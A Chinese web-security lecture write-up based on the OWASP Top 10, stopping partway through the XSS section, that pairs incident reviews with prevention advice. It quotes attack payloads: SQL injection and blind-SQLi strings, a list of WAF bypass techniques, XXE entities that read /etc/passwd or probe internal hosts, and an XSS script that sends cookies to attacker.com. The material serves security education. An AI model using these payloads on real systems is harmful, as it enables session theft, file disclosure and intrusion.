公开课回放

2018 网络安全事故频发,从数据泄露、信息窃取,到 DDOS 攻击、勒索病毒,不仅威胁的总数在增加,威胁态势也变得更加多样化,攻击者在不断开发新的攻击途径的同时,也尽力在攻击过程中掩盖其踪迹,使网络安全防护变得越发棘手。

未来是万物互联的时代,唯有把握住网络信息安全,才能避免被降维打击。本场 公开课,我们特邀 Carl 作为分享嘉宾,以 WebApp 安全防护为出发点,带你了解更多意想不到的安全防护措施与黑客攻击手段,助你提高网络安全意识,最终学会如何规避风险隐患,避免遭受网络安全攻击。

一、开阔眼界 – 提升安全意识

提升网络安全意识对项目团队中的每一个角色、每一个流程都至关重要。同时,也只有具备了网络安全意识,才愿意为数据安全投入更多的时间和精力。下面,我将为您展示部分 2018 年发生的网络安全事故,这些事故造成的损失,也许远远超出你的想象。

2018 网络安全事故回顾

  • Facebook 数据泄露事件: 2018年9月,Facebook 因安全系统漏洞而遭受黑客攻击,导致约 5000 万用户信息泄露。

  • 上市公司数据堂,涉嫌侵犯数百亿条公民个人信息: 大数据行业知名企业数据堂在短短 8 个月的时间内,日均泄露公民个人信息 1.3 亿余条,累计传输数据压缩后约为 4000GB。

  • 圆通 10 亿快递信息泄露: 10 亿条用户数据遭公开售卖,这些数据包括寄(收)件人姓名、电话、地址等隐私信息。

  • 万豪酒店 5 亿用户开房信息泄露: 万豪酒店客房预订数据库遭黑客入侵,约5亿名客户的信息可能被泄露。

更多数据泄露事件

  1. 国泰航空数据泄露,940万乘客受影响

  2. MongoDB 数据库被入侵, 1100 万份邮件记录遭泄露

  3. SHEIN 数据泄露影响 642 万用户

  4. GovPayNet凭证系统存在漏洞,1400万交易记录被曝光

  5. 小米有品平台泄露个人隐私 约2000万用户数据遭泄露

勒索病毒事件

  1. 美国亚特兰大市政府受到勒索软件攻击

  2. 美国巴尔的摩市遭遇勒索软件攻击,导致 911 紧急调度服务的计算机辅助调度(CAD)功能掉线

  3. 台积电勒索病毒事件,约造成 17.6 亿元的营收损失,股票市值下跌78亿

  4. 很多个人电脑和中小网站都曾遭受攻击

DDoS 攻击

  1. 平昌冬奥会开幕式服务器遭到身份不明的黑客入侵

  2. GitHub遭 1.35T 级流量攻击

年度重大漏洞盘点

  1. CPU 数据缓存机制漏洞

  2. iOS 平台 WebView 组件漏洞(UIWebView/ WKWebView)跨域访问漏洞(CNNVD-201801-515)

  3. Oracle WebLogic Server WLS 核心组件远程代码执行漏洞

  4. 微信支付 SDKXX E漏洞

  5. Apache Struts2 S2-057 安全漏洞

二、知己知彼 – 黑客如何攻击系统

一名黑客攻击网站的典型步骤,主要分为以下 5 步:

  1. 信息收集和漏洞扫描

  2. 漏洞利用

  3. 上传木马

  4. 获取服务器的控制权

  5. 清理痕迹

黑客不是手动测试系统漏洞的,而是有很多强大的工具可以自动化完成。黑客不是利用系统中的一个漏洞,而是要利用一系列,不同层次的漏洞。黑客经常批量攻击一系列网站,选取其中漏洞较多,较好利用的重点突破

三、十大安全风险(OWASP Top 10)

不安全的软件正在破坏着我们的金融、医疗、国防、能源和其他重要的基础设施。随着我们的软件变得愈加庞大、复杂且相互关联,实现应用程序安全的难度也呈指数级增长。而现代软件开发过程的飞速发展,使得快速、准确地识别软件安全风险变得愈发的重要,OWASP 组织也因此诞生。

OWASP,即开放式 Web 应用程序安全项目(Open Web Application Security Project),作为一个开源的、非盈利的全球性安全组织,它提供了有关计算机和互联网应用程序的公正、实际、有成本效益的信息,其目的是协助个人、企业和机构来发现并使用可信赖的软件。

OWASP Top 10 是由 OWASP 组织公布,最具权威性的“10 项最严重的 Web 应用程序安全风险预警”,其就安全问题从威胁性和脆弱性两方面进行可能性分析,并结合技术和商业影响的分析结果,输出公认的、最严重的十类 Web 应用安全风险排名。OWASP Top 10 旨在针对上述风险,提出解决方案,帮助 IT 公司和开发团队规范应用程序开发流程和测试流程,提高 Web 产品的安全性。

OWASP 敦促所有公司在其组织内采用 OWASP Top 10 文档,并确保其 Web 应用程序最大限度地降低这些风险,采用 OWASP Top 10 可能是将企业内的软件开发文化转变为生成安全代码文化最行之有效的一步。

OWASP Top 10 包括:

  1. 注入

  2. 失效的身份认证

  3. 敏感信息泄露

  4. XML 外部实体(XXE)

  5. 失效的访问控制

  6. 安全配置错误

  7. 跨站脚本(XSS)

  8. 不安全的反序列化

  9. 使用含有已知漏洞的组件

  10. 不足的日志记录和监控

OWASP Top 10 应用安全风险详解

《OWASP Top 10》的目的在于为广大企业确定一组最严重的风险项目。对于其中的每一项风险,我们将使用基于 OWASP 风险等级排序的评级方案,为您提供关于漏洞普遍性、可检测性、业务/技术影响等信息。

1. 注入

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如 SQL 注入、NoSQL 注入、OS 注入和 LDAP 注入等注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

可利用性:容易
几乎任何数据源都能成为注入载体,包括环境变量、所有类型的用户、参数、外部和内部Web服务。当攻击者可以向解释器发送恶意数据时,注入漏洞便可产生。

普遍性:常见
注入漏洞十分普遍,尤其是在遗留代码中。注入漏洞通常能在 SQL、LDAP、XPath 或是 NoSQL 查询语句、OS 命令、XML 解析器、SMTP 包头、表达式语句及 ORM 查询语句中找到。

可检测性:易
注入漏洞很容易通过代码审查发现。扫描器和模糊测试工具可以帮助攻击者找到这些漏洞。

技术影响:严重
注入能导致数据丢失、破坏或泄露给无授权方、缺乏可审计性或是拒绝服务。注入有时甚至能导致主机被完全接管。

业务影响:未知
您的应用和数据需要受到保护,以避免对业务造成影响。

自查:您的应用程序脆弱吗?

当您的应用有如下情况时,是脆弱且易受到攻击的:

  1. 用户提供的数据没有经过应用程序的验证、过滤或净化。

  2. 动态查询语句或非参数化的调用,在没有上下文感知转义的情况下,被用于解释器。

  3. 在 ORM 搜索参数中使用了恶意数据,这样搜索就获得包含敏感或未授权的数据。

  4. 恶意数据直接被使用或连接,诸如 SQL 语句或命令在动态查询语句、命令或存储过程中包含结构和恶意数据。

一些常见的注入,包括:SQL、OS 命令、ORM、LDAP 和表达式语言(EL)或 OGNL 注入。

所有编译器的原理都是相似的,因此 Code Review 是目前为止最有效的检测应用程序注入风险的办法之一。当然,您也可以对代码中所有参数、字段、头、cookie、JSON 和 XML 数据输入进行 DAST 扫描,并将 SAST 和 DAST 工具添加到 CI/CD 进程中,以便在项目部署前对现有代码或新代码进行注入检测。

如何防止注入?

防止注入漏洞需要将数据与命令语句、查询语句分隔开来:

  1. 最佳选择是使用安全的 API,完全避免使用解释器,或提供参数化界面的 API,或迁移到 ORM 或实体框架中。(注意:当参数化时,如果 PL/SQL 或 T-SQL 将查询和数据连接在一起,或者执行带有立即执行或 exec() 的恶意数据,存储过程仍然可以引入 SQL 注入漏洞。)

  2. 使用正确或符合“白名单”规范的输入验证方法,同样有助于防止注入攻击,但这很可能引起用户的吐槽,因为许多应用程序在输入中需要特殊字符,如文本区域或移动应用程序的 API。

  3. 对于所有动态查询,可以使用该解释器的特定转义语法转义特殊字符。OWASP 的 Java Encoder 和类似的库提供了这样的转义例程。(注意:在 SQL 结构中,表名、列名等无法转义,因此用户提供的结构往往是非常危险的。)

  4. 在查询中使用 LIMIT 和其他 SQL 控件,防止在 SQL 注入时引发大量数据泄露。

攻击案例场景

场景#1:应用程序在脆弱的 SQL 语句结构中使用不可信数据:
String query = “SELECT * FROM accounts WHERE
custID=’” + request.getParameter(“id”) + "’“;

场景#2:框架应用的盲目信任,也可能导致查询语句的漏洞。(例如:Hibernate查询语言(HQL)):
Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID=’” + request.getParameter(“id”) + “’”);

在这两个案例中,攻击者在浏览器中将“id”参数的值修改成: ’or’1’=’1。例如:
http://example.com/app/accountView?id=’ or ‘1’='1
这样查询语句的意义就变成了从 accounts 表中返回所有记录。

SQL 盲注

SQL 盲注,就是在 SQL 语句注入后且成功执行时,执行的结果不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注一般分为三类:

一、基于布尔的盲注

基于布尔的盲注通常使用逻辑判断推测获取的数据,通过给定条件,服务器返回真或假。使用二分法或者正则表达式等方法即可缩小判断的范围。

二、基于时间的盲注

主要是利用延时或者执行的时间来判断。

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep

因为延时会受到网络环境的影响,因此这种方法不是很可靠。

三、基于报错的盲注

构造 payload 让信息通过错误提示显示。

count(*) 和 rand(0) 和 group by 报错

rand(0) 是伪随机数列,01101100。产生报错的原因是因为 rand(0) 并不是一个定值,相当于一个变量。使用 group by 时,会建立一张虚拟表,字段为 key 和 count(*)。执行插入操作,第一次返回 0,但虚拟表中没有这个项,数据库会认为需要插入这个项,但数据库并没有记录下来,因此,会再次执行 rand(0) 试图获取,但此时获取的是第二个数。依次类推,当数据库查询发现 0 这个项不存在,执行插入操作时, rand(0) 返回值为 1,但是 1 已经存在,这时插入已经存在的项就会报错。

WAF 绕过

之所以要谈到 WAF 的常见特征,是为了更好的了解 WAF 的运行机制,以便增加绕过 WAF 的机会。总体来说,WAF(Web Application Firewall)具有以下四个方面的功能:

  1. 审计设备:用来截获所有 HTTP 数据或者仅仅满足某些规则的会话;

  2. 访问控制设备:用来控制对 Web 应用的访问,既包括主动安全模式也包括被动安全模式;

  3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等;

  4. WEB 应用加固工具:这些功能增强被保护 Web 应用的安全性,它不仅能够屏蔽 WEB 应用固有弱点,而且能够保护 WEB 应用编程错误导致的安全隐患。

WAF过滤机制:

  1. 异常检测协议:拒绝不符合 HTTP 标准的请求;

  2. 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证;

  3. 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题;

  4. 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活;

  5. 状态管理:重点进行会话保护;

  6. 其他:Cookies 保护、抗入侵规避技术、响应监视和信息泄露保护等。

绕过 WAF 的方法:

从目前能找到的资料来看,绕过WAF的技术主要分为9类,包含:

  1. 大小写混合(最简单的绕过技术,用于只针对小写或大写的关键字匹配技术)

  2. 替换关键字(这种方式大小写转化无法绕过,而且正则表达式会替换或删除 select、union 这些关键字,如果只匹配一次就很容易绕过)

  3. 使用编码(URL 编码、Unicode 编码)

  4. 使用注释(普通注释、内联注释)

  5. 等价函数与命令(有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用)

  6. 特殊符号(特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多)

  7. HTTP 参数控制(这里 HTTP 参数控制除了对查询语句的参数进行篡改,还包括 HTTP 方法、HTTP 头的控制)

  8. 缓冲区溢出(缓冲区溢出用于对付 WAF,有不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向量时超出了其缓冲区长度,就会引发 bug 从而实现绕过)

  9. 整合绕过(整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少。除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。)

2. 身份认证失效

通过错误地使用 Web 应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥和会话令牌,或者利用其它开发缺陷来暂时性或永久性地冒充管理员的身份。

可利用性:容易
攻击者可以轻松获取数百万条有效用户名和密码组合,包括证书、默认的账户管理列表、自动的暴力破解和字典攻击工具,以及高级的 GPU 破解工具。会话管理可以很容易地被利用,尤其是没有过期的会话密匙。

普遍性:常见
大多数管理系统的设计和实现,都存在身份认证失效的问题。会话管理是身份验证和访问控制的基础,并且存在于整个应用程序的进程中。

可检测性:一般
攻击者通常使用指南手册来检测失效的身份验证。除此之外,也会关注密码转储、字典攻击,或者在类似钓鱼、社会工程攻击后,发现失效的身份认证。

技术影响:严重
攻击者只需访问几个账户,或者一个管理员账户就可以破坏我们的系统。根据应用程序业务场景的不同,可能会导致洗钱、欺诈、用户身份盗窃、泄露法律保护的敏感信息等严重违法行为。

自查:您的应用程序脆弱吗?
确认用户身份、身份验证和会话管理非常重要,这些措施可用于将恶意的、未经身份验证的攻击者与授权用户进行分离。如果您的应用程序存在如下问题,那么可能存在身份验证失效漏洞:

  1. 允许凭证填充,攻击者可利用此获得有效的用户名和密码。

  2. 允许暴力破解或其他自动攻击。

  3. 使用默认、弱安全性的密码,例如“Password1”或“admin/admin”。

  4. 使用弱安全性或失效的验证凭证。

  5. 使用明文、加密或弱散列密码。

  6. 缺少或失效的多因素身份验证。

  7. 暴露 URL 中的会话 ID(例如 URL 重写)。

  8. 在成功登录后不会更新会话 ID。

  9. 不正确地使会话 ID 失效。当用户不活跃的时候,用户会话或认证令牌(特别是单点登录(SSO)令牌)没有正确注销或失效。

如何防止?

  1. 在尽可能的情况下,使用多因素身份验证,以防止凭证填充、暴力破解和被盗凭据再利用攻击。

  2. 不要使用已发送或部署默认的凭证,特别是管理员用户。

  3. 定期执行弱密码检查。

  4. 将密码长度、复杂性和循环策略与 NIST-800-63 B 的指导方针或其他现代的密码策略保持一致。

  5. 确认注册、凭据恢复和 API 路径,确保对所有输出结果使用相同的消息,用以抵御账户枚举攻击。

  6. 限制或逐渐延迟失败的登录尝试。记录所有失败信息并在凭据填充、暴力破解或其他攻击被检测时提醒系统管理员。

  7. 使用服务器端内置的会话管理器,在登录后生成高度复杂且不存在于 URL 的随机会话 ID。这样当用户登出、闲置、绝对超时后使其失效。

攻击案例场景
场景#1:最常见的攻击方式——凭证填充,使用已知密码的列表。如果应用程序不限制身份验证尝试次数,则可以将应用程序用作密码 oracle, 以确定凭证是否有效。

场景#2:大多数身份验证攻击都是由于密码作为唯一的认证因素。

场景#3:应用会话超时设置不正确。用户使用公共计算机访问应用程序时,直接关闭浏览器选项卡就离开,而不是选择“注销”。

凭据填充(撞库)
撞库,是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。很多用户在不同网站使用的是相同的账号和密码,因此黑客可以通过获取用户在 A 网站的账户从而尝试登录 B 网站,这就是撞库攻击。

撞库可以通过数据库安全防护技术解决,数据库安全技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。

撞库并不神秘,事实上,它正被广泛的使用。举例而言,根据 Shape Security 的报告,“攻击者们一旦锁定了一个财富 100 强的 B2C(企业对消费者)网站,就会在一个星期内使用遍布世界各地的代理服务器,对其进行超过五百万次登录尝试。” 雪上加霜的是,被窃取的凭证也并不难找。黑客们会为了找乐子或寻求扬名立万的机会把凭证散播到网上。当黑客们在凭证黑市(比如 Cracking-dot-org、 Crackingking-dot-org 以及 Crackingseal-dot-io)做生意时,这些名声会派上大用场。

多因素验证
多因素验证(Multi-factor authentication,缩写为 MFA),又译多因子认证、多因素认证,是一种计算机访问控制的方法,用户要通过两种以上的认证机制之后,才能得到授权,使用计算机资源。例如,用户要输入 PIN 码,插入银行卡,最后再经指纹比对,通过这三种认证方式,才能获得授权。这种认证方式可以提高安全性。

3. 敏感数据泄露

许多 Web 应用程序和 API 都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。

可利用性:一般
攻击者并非直接攻击,而是在传输过程中、从客户端(例如:浏览器)窃取密钥、发起中间人攻击,或从服务器端直接窃取明文数据。

普遍性:广泛
这是最常见,也是最具影响力的攻击手段。在数据加密的过程中,由于不安全的密钥生成、管理以及使用弱加密算法、弱协议和弱密码(未加盐的哈希算法或弱哈希算法),导致数据泄露事件频发。

可检测性:一般
在服务器端,检测传输过程中的数据弱点很容易,但检测存储数据的弱点却异常困难。

技术影响:严重
敏感数据泄露事件造成的影响是非常严重的,因为这些数据通常包含了很多个人信息(PII),例如:医疗记录、认证凭证、个人隐私、信用卡信息等。这些信息受到相关法律和条例的保护,例如:欧盟《通用数据保护条例》(GDPR)和地方隐私保护法律。

自查:您的应用程序脆弱吗?
首先你需要确认哪些数据(包含:传输过程中的数据、存储数据)是敏感数据。例如:密码、信用卡卡号、医疗记录、个人信息等,这些数据应该被加密,请Review:

  1. 在数据传输过程中是否使用明文传输?这和传输协议相关,如:HTTP、SMTP 和 FTP。(注意:外网流量十分危险,请验证所有的内部通信,如:负载平衡器、Web 服务器或后端系统之间的通信。)

  2. 当数据被长期存储时,无论存储在哪里,它们是否都被加密或备份?

  3. 无论默认条件还是源代码中,是否还在使用任何旧的、脆弱的加密算法?

  4. 是否使用默认加密密钥,生成或重复使用脆弱的加密密钥,或者缺少恰当的密钥管理或密钥回转?

  5. 是否强制加密敏感数据,例如:用户代理(如:浏览器)指令,传输协议是否被加密?

  6. 用户代理(如:应用程序、邮件客户端)是否未验证服务器端证书的有效性?

如何防止?

对一些需要加密的敏感数据,应该做到以下几点:

  • 对系统处理、存储或传输的数据分类,并根据分类分别进行访问控制。

  • 熟悉与敏感数据保护相关的法律和条例,并根据每项法规的要求保护敏感数据。

  • 对于没必要存放,但重要的敏感数据,应当尽快清除,或者通过 PCI DSS 标记或拦截,只有未存储的数据才不会被窃取。

  • 确保已存储的所有敏感数据都被加密。

  • 确保使用了最新、强大的标准算法或密码、参数、协议和密钥,并且密钥管理到位。

  • 确保传输过程中的数据被加密,如:使用 TLS。

  • 确保数据加密被强制执行,如:使用 HTTP 严格安全传输协议(HSTS )。

  • 禁止缓存对包含敏感数据的响应。

  • 确保使用密码专用算法存储密码,如:Argon2 、scrypt 、bcrypt 或PBKDF2 。

  • 将工作因素(延迟因素)设置在可接受的范围。

  • 单独验证每个安全配置项的有效性。

攻击案例场景
场景 #1:假设一个应用程序使用自动化的数据加密系统加密了信用卡信息,并存储在数据库中,当数据被检索时自动解密。这会导致 SQL 注入漏洞能够以明文形式获得所有信用卡卡号。

场景 #2:一个网站上没有使用或强制使用 TLS,或者仅使用弱加密算法。攻击者通过监测网络流量(如:不安全的无线网络),将网络连接从 HTTPS 降级到 HTTP,就可以截取请求并窃取用户会话 cookie。然后,攻击者可以复制用户 cookie 并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外,攻击者还可以更改所有传输过程中的数据,如:转款的接收者。

场景 #3:密码数据库使用未加盐的哈希算法或弱哈希算法去存储密码,此时,一个文件上传漏洞可使黑客能够获取密码文件,而这些未加盐的哈希密码通过彩虹表暴力破解方式即可快速破解。

各国应对措施

  • 日本个人信息保护法

近年来,因信息、通信技术的发展,企业需要收集大量个人信息,用以提供准确且迅速的服务。个人信息的利用,无论是对现今的商业活动,还是对国民生活都变得不可或缺。但是,另一方面,由于处理个人信息状况不当,导致个人权利和利益受到损害的可能性也在增大。在日本,包含企业和政府等团体的组织内部,泄露的个人信息数量累积超过了1000万件。于是,鉴于规范处理个人信息,明确国家及地方公共团体的职责,确保个人信息有效利用等目的,日本于2005年4月1日起颁布《个人信息保护法》。

  • 欧盟《通用数据保护条例》(GDPR)

欧盟《通用数据保护条例》(General Data Protection Regulation,简称GDPR),其前身是欧盟在1995年制定的《计算机数据保护法》,该法明确规定:

  1. 对违法企业的罚金最高可达2000万欧元(约合1.5亿元人民币)或其全球营业额的4%,以高者为准。

  2. 网站经营者必须事先向客户说明会自动记录客户的搜索和购物记录,并获得用户的同意,否则按“未告知记录用户行为”作违法处理。

  3. 企业不能再使用模糊、难以理解的语言,或冗长的隐私政策来从用户处获取数据使用许可。

  4. 明文规定了用户的“被遗忘权”(right to be forgotten),即用户个人可以要求责任方删除关于自己的数据记录。
    #### 设计安全账号系统的正确姿势
    数据安全防范的方法简单来说,当数据从用户键盘敲出的那一刻,到服务器后台存储过程中,都需保持正确的姿势。如:

  5. 用正确的姿势保存密码
    a) 低级错误:明文保存密码
    b) 低级错误:可逆加密密码
    c) 错误方法:md5 加密密码
    d) 正确方法:加盐 hash 保存密码

  6. 用正确的姿势传输数据
    a) 验证服务端的合法性
    b) 确保通信的安全

  7. 用正确的姿势加密敏感信息

  8. 用正确的姿势对数据进行备份和监控

4. XML 外部实体(XXE)

许多较早的或配置错误的 XML 处理器评估了 XML 文件中的外部实体引用。攻击者可以利用外部实体窃取使用 URI 文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

可利用性:一般
如果攻击者可以上传 XML 文档或在 XML 文档中添加恶意内容(如,易受攻击的代码、依赖项或集成),他们就能够攻击含有缺陷的 XML 处理器。

普遍性:常见
一般来说,许多旧的 XML 处理器能够对外部实体、XML 进程中被引用和评估的 URI 进行规范。SAST 工具可以通过检查依赖项和安全配置来发现 XXE 缺陷。DAST 工具需要额外的手动步骤来检测和利用 XXE 缺陷。

技术影响:严重
XXE 缺陷可用于提取数据、执行远程服务器请求、扫描内部系统、执行拒绝服务攻击和其他攻击。

自查:您的应用程序脆弱吗?
应用程序,特别是基于 XML 的 Web 服务,可能在以下方面容易受到攻击:

  1. 您的应用程序直接接受 XML 文件或者接受 XML 文件上传,特别是来自不受信任源的文件,或者将不受信任的数据插入 XML 文件,并提交给 XML 处理器解析。

  2. 在应用程序或基于 Web 服务的 SOAP 中,所有 XML 处理器都启用了文档类型定义(DTDs)。

  3. 为了实现安全性或单点登录(SSO),您的应用程序应该使用了 SAML进行身份认证,而假设 SAML 使用了XML进行身份确认,那么您的应用程序就容易受到 XXE 攻击。

  4. 如果您的应用程序使用第 1.2 版之前的 SOAP,并将XML实体传递到SOAP 框架,那么它可能受到 XXE 攻击。

  5. 存在 XXE 缺陷的应用程序更容易受到拒绝服务攻击,如: Billion Laughs 攻击。
    ####如何防止?
    培训开发人员的安全意识,是识别和减少 XXE 的关键,除此之外,还需要:

  6. 尽可能地使用简单的数据格式(如:JSON),避免对敏感数据进行序列化。

  7. 及时修复或更新应用程序或底层操作系统使用的 XML 处理器和库。同时,通过依赖项检测,将 SOAP 更新到 1.2 版本或更高版本。

  8. 参考《OWASP Cheat Sheet ‘XXE Prevention‘》,在应用程序的所有XML解析器中禁用XML外部实体和DTD进程。

  9. 在服务器端实施(“白名单”)输入验证、过滤和清理, 以防止在XML文档、标题或节点中出现恶意数据。

  10. 验证XML或XSL文件上传功能是否使用了XSD验证或其他类似的验证。

  11. 尽管在许多集成环境中,手动代码审查是大型、复杂应用程序的最佳选择,但是SAST 工具可以检测源代码中的XXE漏洞。 如果无法实现这些控制,请考虑使用虚拟修复程序、API安全网关或Web应用程序防火墙( WAF )来检测、监控和防止XXE攻击。
    ####攻击案例场景
    目前,已经有大量XXE缺陷被发现并公开,这些缺陷包括上传可被接受的恶意XML文件、嵌入式设备的 XXE缺陷及深嵌套的依赖项等。

场景 #1:攻击者尝试从服务端提取数据:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<foo>&xxe;</foo>

场景 #2:攻击者通过将上面的实体行更改为以下内容来探测服务器的专用网络:

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

场景 #3:攻击者通过恶意文件执行拒绝服务攻击:

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

XML基本定义

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

(图片来自网络)

XML由3个部分构成,分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

XML 中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
####XML外部实体
XML外部实体表示外部文件的内容,用 SYSTEM 关键词表示:

<!ENTITY test SYSTEM "1.xml">

有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或者远程的内容。比如,下面的XML文档示例就包含了XML“实体”。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>

在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)。

XXE 注入定义

XXE注入(即XML External Entity, XML外部实体注入)。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。攻击者可以通过 XML 实体传递自己构造的恶意值,从而引导处理程序解析它。当引用外部实体时,攻击者通过构造恶意内容,可读取任意文件、执行系统命令、探测内网端口、攻击内网网站等行为。

XXE 漏洞原理

最常见的 XXE 漏洞类型分为以下三种:

  1. 基础的 XXE 注入— 外部实体注入本地D TD

  2. 基于盲注的 XXE 注入—XML 解析器在响应中不显示任何错误

  3. 基于错误的 XXE 注入—成功解析之后,XML 解析器始终显示 SAME 响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中。

既然 XML 可以从外部读取 DTD 文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个 XML 的时候就会把那个文件的内容赋值给 SYSTEM 前面的根元素中,只要我们在 XML 中让前面的根元素的内容显示出来,就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

假设我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。一般来说,服务器解析 XML 有两种方式,一种是一次性将整个 XML 加载进内存中,进行解析;另一种是一部分的、“流式”地加载、解析。如果我们递归地调用 XML 定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

5. 失效的访问控制

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷,访问未经授权的功能或数据,例如:访问其他用户的账户、查看敏感文件、修改其他用户的数据、更改访问权限等。

6. 安全配置错误

安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。

7. 跨站脚本(XSS)

当应用程序的新网页中包含不受信任的、未经验证或转义的数据时,或者使用可以创建 HTML 或 JavaScript 的浏览器 API 更新现有网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

可利用性:容易
自动化工具能够检测并利用所有的三种 XSS 形式,并且存放在便于攻击者利用的漏洞中。

普遍性:广泛
XSS 是 OWASP Top10 中第二普遍的安全问题,存在于近三分之二的应用程序中。

可检测性:容易
自动化工具能发现 XSS 问题,尤其是一些成熟的技术框架中,如:PHP、J2EE 或 JSP、ASP.NET 等。

技术影响:中等
XSS 对于反射和 DOM 的影响是中等的,而对于存储的 XSS,XSS 的影响更为严重,譬如在受到攻击的浏览器上执行远程代码,如:窃取凭证和会话或传递恶意软件等。

自查:您的应用程序脆弱吗?

针对用户的浏览器,存在三种 XSS 类型:

  1. 反射式 XSS:应用程序或 API 包含未经验证和未经转义的用户输入,并作为 HTML 输出的一部分,受到此类攻击可以让攻击者在受害者的浏览器中执行任意的 HTML 和 JavaScript。

  2. 存储式 XSS:你的应用或者 API 将未净化的用户输入进行存储,并在其他用户或者管理员的页面展示出来。存储型 XSS 一般被认为是高危或严重的风险。

  3. 基于 DOM 的 XSS:会动态的将攻击者操控的内容加入到页面的 JavaScript 框架、单页面程序或 API 中。为避免此类攻击,你应该禁止将攻击者可控的数据发送给不安全的 JavaScript API。
    典型的 XSS 攻击造成的结果包含:盗取 Session、账户、绕过 MFA、DIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其他用户侧的攻击。
    ####如何防止?
    防止 XSS,需要将不可信的数据与动态的浏览器内容区分开:

  4. 使用已解决 XS S问题的框架,如:Ruby 3.0 或 React JS。了解每个框架对 XSS 保护的局限性,并适当地处理未覆盖的用例。

  5. 为了避免反射式或存储式的 XSS 漏洞,最好的办法是根据 HTML 输出的上下文(包括:主体、属性、JavaScript、CSS或URL) 对所有不可信的 HTTP 请求数据进行恰当的转义 。

  6. 在客户端修改浏览器文档时,为了避免 DOM XSS 攻击,最好的选择是实施上下文敏感数据编码。如果这种情况不能避免,可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 一文中描述的类似于上下文敏感的转义技术,并应用于浏览器 API。

  7. 使用内容安全策略(CSP)是对抗 XSS 的最终防御策略。如果不存在可以通过本地文件存放恶意代码的漏洞(例如:路径遍历覆盖和允许在网络中传输的易受攻击的库),则该策略是有效的。
    ####攻击案例场景
    场景#1:应用程序在下面的 HTML 代码段构造中使用了未经验证或转义的不可信的数据源:

(String) page += “<input name=‘creditcard’ type=‘TEXT‘ value=’” + request.getParameter("CC“) + “’>”;

攻击者在浏览器中修改“CC” 参数为如下值:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

